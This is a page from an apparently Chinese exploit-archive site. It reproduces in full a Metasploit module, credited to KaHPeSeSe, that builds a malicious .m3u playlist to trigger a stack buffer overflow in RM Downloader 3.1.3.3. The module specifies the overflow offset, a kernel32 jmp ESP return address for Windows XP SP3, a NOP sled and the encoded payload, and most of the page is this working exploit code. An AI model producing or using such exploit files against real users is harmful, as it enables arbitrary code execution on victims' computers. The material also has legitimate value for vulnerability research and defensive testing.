首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RM Downloader Version 3.1.3.3.2010.06.26 (.m3u) Buffer Overflow (MSF)
来源:http://www.metasploit.com 作者:KaHPeSeSe 发布时间:2012-03-19  
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking
 include Msf::Exploit::FILEFORMAT
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RM Downloader Version 3.1.3.3.2010.06.26 (.m3u) Buffer Overflow (MSF)',
   'Description'    => %q{
     RM Downloader Version 3.1.3.3.2010.06.26 has buffer overflow vuln. we will create file.
    File type be m3u. File name is exp.m3u if we open exp.m3u whit RM Downloader Version 3.1.3.3.2010.06.26,
    we will see this "run calc.exe"
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'KaHPeSeSe',  # Found bug and wrote exploit
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x09\x0a",
     'StackAdjustment' => -3500
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'PERFECT XP PC1 / SP3',
                        {
                            'Ret' => 0x7C86467B, # findjmp KERNEL32.DLL ESP 0x7C86467B jmp ESP
                            'Offset' => 17417
                        }
                    ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'March 14 2012',
   'DefaultTarget'  => 0))
  register_options(
   [
    OptString.new('FILENAME', [ false, 'The file name.', 'exp.m3u']),
   ], self.class)
 end
 def exploit
  exp = "#EXTM3U\n"
  exp << "http://"
  exp << rand_text_alpha_upper(target['Offset'])
  exp << [target.ret].pack('V')
  exp << "\x90" * 8
  exp << payload.encoded
  print_status("Creating '#{datastore['FILENAME']}' file ...")
  file_create(exp)
 end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Tiny Server v1.1.5 Arbitrary F
·TypesoftFTP Server 1.1 Remote
·VLC v. 2.0.1.0 .pmp Memory Cor
·Zinf Audio Player (m3u file) B
·VLC v. 2.0.1.0 .it Memory Corr
·Joomla 2.5.0-2.5.1 Time Based
·Microsoft Terminal Services Us
·Dell Webcam Software Bundled A
·Pakyu Cenloder Microsoft Remot
·LANDesk Lenovo ThinkManagement
·Microsoft Remote Desktop Denia
·LANDesk Lenovo ThinkManagement
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved